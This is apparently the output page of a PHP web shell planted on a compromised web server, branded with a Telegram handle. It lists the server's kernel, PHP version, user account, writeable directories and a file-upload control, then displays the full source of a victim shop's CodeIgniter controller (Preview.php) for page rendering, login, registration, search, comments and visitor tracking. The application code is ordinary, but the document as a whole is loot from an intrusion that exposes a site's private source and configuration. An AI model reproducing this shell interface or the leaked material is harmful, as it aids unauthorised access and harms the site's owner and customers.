https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /var/www/laciasmara.com/public_html/shop/application/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/laciasmara.com/public_html/shop/application/controllers/Preview.php
<?php if (!defined('BASEPATH')) exit('No direct script access allowed');

class Preview extends Customer_Controller
{

    public function __construct()
    {
        parent::__construct();
        $this->load->model('comment_m');
        $this->load->library(['session', 'form_validation']);
        $this->load->helper('url');
        $this->load->model('customer_m');
        $this->load->model('Top_banner_m');

        $this->load->library('GoogleClient');
        $this->load->library('VisitorTracking');

        $this->load->helper('cart');

        if ($this->session->userdata('site_lang') == 'english') {
            $this->lang->load('register_login', 'english');
            $this->lang->load('homepage', 'english');
        } else {
            $this->lang->load('register_login', 'indonesian');
            $this->lang->load('homepage', 'indonesian');
        }
        $this->data['comments'] = $this->comment_m->get_comments();
        $loginUrl = $this->googleclient->getLoginUrl();

        $this->data_footer['googleUrl'] = $loginUrl;
    }

    public function index()
    {
        $this->track_visitor();
        if ($this->session->userdata('customer')) {
            $id_customer = (int) $this->session->userdata('customer')['customer_id'];
            $this->data['customer'] = $this->customer_m->get_customer($id_customer);
        }

        $this->data['comments'] = $this->comment_m->get_comments();

        $this->data_header = [
            'browser_title' =>  ucwords($this->data_header['website_name']) . ' - Preview',
            'meta_description' => ucwords('Discover a world of passion at Laci Asmara. Premium adult products crafted to elevate intimate moments with fun, safety and privacy as priorities. Exclusive offers available—explore now and feel the difference!'),
            'banner_image' => 'https://storage.cloud.google.com/laciasmara-photos/laciasmara_test/152%20(1).webp?authuser=2',
            'cta_text' => 'Get A Grip, Glide With Ease!',
            'cta_button_text' => 'Fun Begin!',
            'cta_button_link' => 'http://localhost/laciasmara/product/tickler-kegel-double-trainer',
            'logo_path' => 'https://storage.cloud.google.com/laciasmara-photos/laciasmara_test/LaciAsmara-ID-V-Mono-White%20(1).png?authuser=2',
        ];

        $this->load->view("themes/$this->theme_no/header_new", $this->data_header);
        $this->load->view('preview', $this->data);
        $this->load->view("themes/$this->theme_no/footer_new", $this->data_footer);
    }
    public function landing()
    {
        $this->load->view('landing_page');
    }

    public function main()
    {
        $this->load->model('Top_banner_m');
        $this->load->model('Carousel_banner_m');
        $this->load->model('Review_m');
        $this->load->model('Brand_m');

        // Get active banners and carousels
        $carousels = $this->Carousel_banner_m->get_active_carousel();
        $banners = $this->Top_banner_m->get_active_banners();
        $brands = $this->Brand_m->get_all_brands();

        // Get reviews
        $this->db->select('pr.id, p.title AS product_name,
                pr.display_name AS customer_name,
                pr.rating,
                pr.review AS testimonial_text,
                c.sex_type')
            ->from('product_review pr')
            ->join('products p', 'p.id_products = pr.product_id')
            ->join('customers c', 'c.id_customers = pr.customer_id');
        $reviews = $this->db->get()->result();

        $testimonials = [];
        foreach ($reviews as $review) {
            switch ($review->sex_type) {
                case 'male':
                    $image = "https://storage.cloud.google.com/laciasmara-photos/laciasmara_test/Laciasmara_testimonial/male.png?authuser=2";
                    break;
                case 'female':
                    $image = "https://storage.cloud.google.com/laciasmara-photos/laciasmara_test/Laciasmara_testimonial/female.png?authuser=2";
                    break;
                default:
                    $image = "https://storage.cloud.google.com/laciasmara-photos/laciasmara_test/Laciasmara_testimonial/others.png?authuser=2";
            }

            $testimonials[] = [
                'customer_image' => $image,
                'customer_name' => $review->customer_name,
                'product_name' => $review->product_name,
                'star_rating' => $review->rating,
                'testimonial_text' => $review->testimonial_text,
            ];
        }

        $this->db->select('
            p.id_products, 
            p.title, 
            p.brand_id,
            pd.id AS id_detail, 
            pd.price, 
            pd.discounted_price, 
            COALESCE(GROUP_CONCAT(DISTINCT CONCAT_WS(": ", pa.product_attribute, pad.attribute_detail) SEPARATOR "; "), "No variants available") AS variants,
            pi.image, 
            s.stock, 
            s.stock_keep, 
            (s.stock - s.stock_keep) AS stock_sell,
            SUM(od.quantity) AS total_sales,
            COUNT(pr.id) AS total_reviews
        ')
            ->from('products p')
            ->join('product_details pd', 'p.id_products = pd.product_id', 'left')
            ->join('product_images pi', 'pd.id = pi.product_details_id', 'left')
            ->join('stock s', 'pd.id = s.id_product_detail AND s.warehouse_id = 1', 'left')
            ->join('orders_detail od', 'od.item_id = pd.id AND od.warehouse_id = 1', 'left')
            ->join('product_combination pc', 'pd.id = pc.product_details_id', 'left')
            ->join('product_attributes pa', 'pc.attribute_id = pa.id', 'left')
            ->join('product_attributes_detail pad', 'pc.attribute_detail_id = pad.id', 'left')
            ->join('product_review pr', 'pr.product_id = p.id_products', 'left')
            ->where('p.product_status', '1')
            ->where('s.stock > 1')
            ->where('(s.stock - s.stock_keep) > 0')
            ->group_by('pd.id')
            ->order_by('total_reviews', 'DESC');
        $top_seller_products = $this->db->get()->result_array();

        // Prepare and format product data
        $formatted_products = $this->prepare_top_seller_products($top_seller_products);

        // Get website configuration data
        $this->db->select('website_icon, browser_title, meta_description')
            ->from('configuration')
            ->where('id_configuration', 1);
        $website_data = $this->db->get()->row();

        // Prepare header data
        $this->data_header = [
            'website_icon' => $website_data->website_icon,
            'browser_title' => ucwords($this->data_header['website_name']) . ' - Main Page',
            'meta_description' => $website_data->meta_description,
            'banners' => $banners,
            'carousels' => $carousels,
            'top_seller_products' => $formatted_products,
            'testimonials' => $testimonials,
            'brands' => $brands,
            'logo_path' => 'https://storage.cloud.google.com/laciasmara-photos/laciasmara_test/LaciAsmara-ID-V-Mono-White%20(1).png?authuser=2',
        ];

        if ($this->session->userdata('site_lang') == 'english') {
            $this->lang->load('mainpage', 'english');
        } else {
            $this->lang->load('mainpage', 'indonesian');
        }
        // Load views
        $this->load->view("themes/$this->theme_no/header_new", $this->data_header);
        $this->load->view('main_page');
        $this->load->view("themes/$this->theme_no/footer_new", $this->data_footer);
    }

    private function prepare_top_seller_products($top_seller_products)
    {
        $formatted_products = [];
        $displayed_brands = [];

        foreach ($top_seller_products as $product) {
            // Skip if brand already displayed
            if (in_array($product['brand_id'], $displayed_brands)) {
                continue;
            }

            // Add brand to displayed list
            $displayed_brands[] = $product['brand_id'];

            // Determine current and original prices
            $current_price = $product['discounted_price'] > 0 ? $product['discounted_price'] : $product['price'];
            $original_price = $product['discounted_price'] > 0 ? $product['price'] : null;

            // Get review data for product
            $review_data = $this->Review_m->get_product_reviews($product['id_products']);
            $average_rating = isset($review_data['average_rating']) ? round($review_data['average_rating'], 1) : 0;
            $total_reviews = isset($review_data['total_reviews']) ? $review_data['total_reviews'] : 0;

            // Parse product variants
            $variants = !empty($product['variants']) ? explode('; ', $product['variants']) : [];

            // Format product data
            $formatted_products[] = [
                'id' => $product['id_products'],
                'title' => $product['title'],
                'id_detail' => $product['id_detail'],
                'product_attribute' => $product['product_attribute'],
                'attribute_detail' => $product['attribute_detail'],
                'current_price' => $current_price,
                'original_price' => $original_price,
                'image' => $product['image'],
                'stock' => $product['stock'],
                'stock_sell' => $product['stock_sell'],
                'total_sales' => $product['total_sales'],
                'average_rating' => $average_rating,
                'total_reviews' => $total_reviews,
                'variants' => $variants,
            ];
        }

        return $formatted_products;
    }

    public function login()
    {
        if ($this->session->userdata('site_lang') == 'english') {
            $this->lang->load('mainpage', 'english');
        } else {
            $this->lang->load('mainpage', 'indonesian');
        }

        if ($this->customer_m->loggedin() == TRUE) {
            redirect(base_url());
        }
        $utm_data = $this->input->get('utm_data');

        if ($utm_data) {
            $utm_data = json_decode(base64_decode($utm_data), true);
            $this->session->set_userdata('utm_data', $utm_data);
        }

        $this->visitortracking->trackVisitor();

        $activeBanners = $this->Top_banner_m->get_active_banners();

        // Fetch website data for header and meta information
        $websiteData = $this->db->select('website_icon, browser_title, meta_description')
            ->from('configuration')
            ->where('id_configuration', 1)
            ->get()
            ->row();

        // Prepare header data
        $this->data_header = [
            'website_icon' => $websiteData->website_icon,
            'browser_title' => $websiteData->browser_title . ' - Register',
            'meta_description' => $websiteData->meta_description,
            'banners' => $activeBanners,
            'logo_path' => 'https://storage.googleapis.com/laciasmara-photos/laciaasmara_assets/laciasmara_landing_page/laciasmara_landing_page_logo.webp',
        ];

        // $data['form_data'] = $this->session->flashdata('form_data');
        // $data['form_errors'] = $this->session->flashdata('form_errors');

        $this->load->view("themes/3/header_new", $this->data_header);
        $this->load->view('login_new');
        $this->load->view("themes/3/footer_new", $this->data_footer);
    }
    public function register()
    {
        $this->visitortracking->trackVisitor();
        if ($this->session->userdata('site_lang') == 'english') {
            $this->lang->load('mainpage', 'english');
        } else {
            $this->lang->load('mainpage', 'indonesian');
        }

        //if customer is loggedin, then direct to welcome page
        if ($this->customer_m->loggedin() == TRUE) redirect('welcome');
        // //get TOC
        // $data['toc'] = $this->db->select('toc')->from('toc')->where('id_toc', 1)->get()->row()->toc;
        // //get Privacy
        // $data['privacy'] = $this->db->select('toc')->from('toc')->where('id_toc', 2)->get()->row()->toc;
        //get page
        $activeBanners = $this->Top_banner_m->get_active_banners();

        // Fetch website data for header and meta information
        $websiteData = $this->db->select('website_icon, browser_title, meta_description')
            ->from('configuration')
            ->where('id_configuration', 1)
            ->get()
            ->row();

        // Prepare header data
        $this->data_header = [
            'website_icon' => $websiteData->website_icon,
            'browser_title' => $websiteData->browser_title . ' - Register',
            'meta_description' => $websiteData->meta_description,
            'banners' => $activeBanners,
            'logo_path' => 'https://storage.googleapis.com/laciasmara-photos/laciaasmara_assets/laciasmara_landing_page/laciasmara_landing_page_logo.webp',
        ];

        $data['widget'] = $this->recaptcha->getWidget();
        $data['script'] = $this->recaptcha->getScriptTag();
        $data['form_data'] = $this->session->flashdata('form_data');
        $data['form_errors'] = $this->session->flashdata('form_errors');

        $this->load->view("themes/3/header_new", $this->data_header);
        $this->load->view('register_new', $data);
        $this->load->view("themes/3/footer_new", $this->data_footer);
    }


    public function search()
    {
        header('Content-Type: application/json');
        $query = $this->input->get('query', TRUE);

        // Debug query
        if (!$query) {
            echo json_encode(['error' => 'No query provided']);
            return;
        }

        $this->load->model('product_m');

        // Cek hasil query
        $results = $this->product_m->search_products($query);
        if (empty($results)) {
            echo json_encode(['results' => []]);
            return;
        }

        foreach ($results as &$result) {
            $result['url'] = base_url('product/' . $result['alias']);
            $result['image'] = base_url('uploads/product/' . $result['image']);
        }

        echo json_encode(['results' => $results]);
    }

    public function add_comment()
    {
        // Validate and process the comment submission
        if ($this->session->userdata('customer')) {
            $id_customer = (int) $this->session->userdata('customer')['customer_id'];
            $comment_data = [
                'customer_id' => $id_customer,
                'content' => $this->input->post('comment', true),
                'created_at' => date('Y-m-d H:i:s'),
            ];

            $this->comment_m->add_comment($comment_data);
            redirect('preview');
        } else {
            redirect('login');
        }
    }

    public function add_reply_comment()
    {
        $comment_id = $this->input->post('comment_id');

        if ($this->session->userdata('customer')) {
            $id_customer = (int) $this->session->userdata('customer')['customer_id'];

            $comment_data = [
                'customer_id' => $id_customer,
                'content' => $this->input->post('reply_comment', true),
                'created_at' => date('Y-m-d H:i:s'),
                'parent_id' => $comment_id,
            ];

            $this->comment_m->add_comment($comment_data);

            redirect('preview');
        } else {
            redirect('login');
        }
    }

    private function track_visitor()
    {

        // $session_tracking = $this->session->userdata('visitor_tracking');

        $utm_data = $this->session->userdata('utm_data');
        $source = $this->determine_traffic_source();

        // Generate tracking ID only if there is no existing session data
        $tracking_id = uniqid('track_');

        // Prepare tracking data
        $tracking_data = array(
            'tracking_id' => $tracking_id,
            'source' => $utm_data['utm_source'] ?? $source['utm_source'],
            'medium' => $utm_data['utm_medium'] ?? $source['utm_medium'],
            'campaign' => $utm_data['utm_campaign'] ?? $source['utm_campaign'],
            'ip_address' => $this->input->ip_address(),
            'full_url' => current_url()
        );

        // Set the tracking data in session
        $this->session->set_userdata('visitor_tracking', $tracking_data);

        // Only insert to database if the tracking_id is newly created
        $track_data = array(
            'id' => $tracking_id,
            'link_url' => $tracking_data['full_url'],
            'source' => $tracking_data['source'],
            'ip_address' => $tracking_data['ip_address'],
            'user_agent' => $this->input->user_agent(),
            'referer' => $this->input->server('HTTP_REFERER'),
            'utm_source' => $tracking_data['source'],
            'utm_medium' => $tracking_data['medium'],
            'utm_campaign' => $tracking_data['campaign'],
        );

        $this->db->insert('link_tracks', $track_data);
    }

    private function determine_traffic_source()
    {
        // Check UTM Parameters first
        $utm_source = $this->input->get('utm_source');
        $utm_medium = $this->input->get('utm_medium');
        $utm_campaign = $this->input->get('utm_campaign');

        // Check HTTP Referer if UTM is not present
        $referer = $this->input->server('HTTP_REFERER');
        $parsed_referer = $referer ? parse_url($referer) : null;

        // Initialize with default values
        $source = [
            'utm_source' => 'direct',
            'utm_medium' => 'organic',
            'utm_campaign' => 'organic'
        ];

        // If UTM parameters exist, use them
        if ($utm_source) {
            $source['utm_source'] = $utm_source;
            $source['utm_medium'] = $utm_medium ?: 'unknown';
            $source['utm_campaign'] = $utm_campaign ?: 'none';
        }
        // If no UTM but referer exists, try to determine source from referer
        elseif ($parsed_referer) {
            $host = strtolower($parsed_referer['host']);

            // Check for common sources
            if (strpos($host, 'google') !== false) {
                $source['utm_source'] = 'google';
                $source['utm_medium'] = 'organic';
            } elseif (strpos($host, 'facebook.com') !== false) {
                $source['utm_source'] = 'facebook';
                $source['utm_medium'] = 'social';
            } elseif (strpos($host, 'instagram.com') !== false) {
                $source['utm_source'] = 'instagram';
                $source['utm_medium'] = 'social';
            } elseif (strpos($host, 't.co') !== false || strpos($host, 'twitter.com') !== false) {
                $source['utm_source'] = 'twitter';
                $source['utm_medium'] = 'social';
            } elseif (strpos($host, 'linkedin.com') !== false) {
                $source['utm_source'] = 'linkedin';
                $source['utm_medium'] = 'social';
            } else {
                $source['utm_source'] = $host;
                $source['utm_medium'] = 'organic';
            }

            $source['utm_campaign'] = 'none';
        }
        // If neither UTM nor referer, it's direct traffic
        else {
            $source['utm_source'] = 'direct';
            $source['utm_medium'] = 'organic';
            $source['utm_campaign'] = 'organic';
        }

        // Store raw referer for debugging
        $source['raw_referer'] = $referer;

        return $source;
    }
    public function product_new($alias = NULL)
    {
        $activeBanners = $this->Top_banner_m->get_active_banners();
        $websiteData = $this->db->select('website_icon, browser_title, meta_description')
            ->from('configuration')
            ->where('id_configuration', 1)
            ->get()
            ->row();

        $this->data_header = [
            'website_icon' => $websiteData->website_icon,
            'browser_title' => $websiteData->browser_title . ' - All Products',
            'meta_description' => $websiteData->meta_description,
            'banners' => $activeBanners,
            'logo_path' => 'https://storage.googleapis.com/laciasmara-photos/laciaasmara_assets/laciasmara_landing_page/laciasmara_landing_page_logo.webp',
        ];
        $this->lang->load('mainpage', $this->session->userdata('site_lang') == 'english' ? 'english' : 'indonesian');

        $product = $this->db->select('*')
            ->from('products')
            ->where(['alias' => $alias, 'product_status' => 1])
            ->get()
            ->row();

        if (!$product) {
            show_404();
        }

        $product_details = $this->db->select('*')
            ->from('product_details')
            ->where('product_id', $product->id_products)
            ->get()
            ->result();

        foreach ($product_details as &$detail) {

            $stock = $this->db->select('stock, stock_keep, stock_reject')
                ->from('stock')
                ->where('id_product_detail', $detail->id)
                ->limit(1)
                ->get()
                ->row();

            if ($stock) {
                $detail->stock_available = $stock->stock - $stock->stock_keep;
            } else {
                $detail->stock_available = 0;
            }

            // Get product combinations
            $detail->variants = $this->db->select('pa.product_attribute, pad.attribute_detail, pad.color_hex, COALESCE(GROUP_CONCAT(DISTINCT CONCAT_WS(": ", pa.product_attribute, pad.attribute_detail) SEPARATOR "; "), "No variants available") AS variants')
                ->from('product_combination pc')
                ->join('product_attributes pa', 'pc.attribute_id = pa.id')
                ->join('product_attributes_detail pad', 'pc.attribute_detail_id = pad.id')
                ->where('pc.product_details_id', $detail->id)
                ->get()
                ->result_array();
        }

        $initial_product_detail = $product_details[0];

        $product_images = $this->db->select('*')
            ->from('product_images')
            ->where('product_id', $product->id_products)
            ->where('product_details_id', $initial_product_detail->id)
            ->order_by('priority', 'ASC')
            ->get()
            ->result();

        $this->db->select('
                    p.id_products AS product_id,
                    p.title AS product_name,
                    p.alias AS product_alias,
                    COUNT(pr.id) AS review_count,
                    AVG(pr.rating) AS average_rating')
            ->from('product_review pr')
            ->join('products p', 'p.id_products = pr.product_id')
            ->where('p.product_status', 1)
            ->where('pr.product_id', $product->id_products)
            ->group_by('pr.product_id');

        $reviews = $this->db->get()->row();


        $data['product'] = $product;
        $data['product_details'] = $product_details;
        $data['initial_product_detail'] = $initial_product_detail;
        $data['product_images'] = $product_images;
        $data['reviews'] = $reviews;

        $this->session->set_userdata('productpage_to_cart', base_url() . 'product/' . $alias);


        $this->load->view("themes/3/header_new", $this->data_header);
        $this->load->view("themes/3/product_new", $data);
        $this->load->view("themes/3/footer_new", $this->data_footer);
    }
}

https://t.me/RX1948 - 2025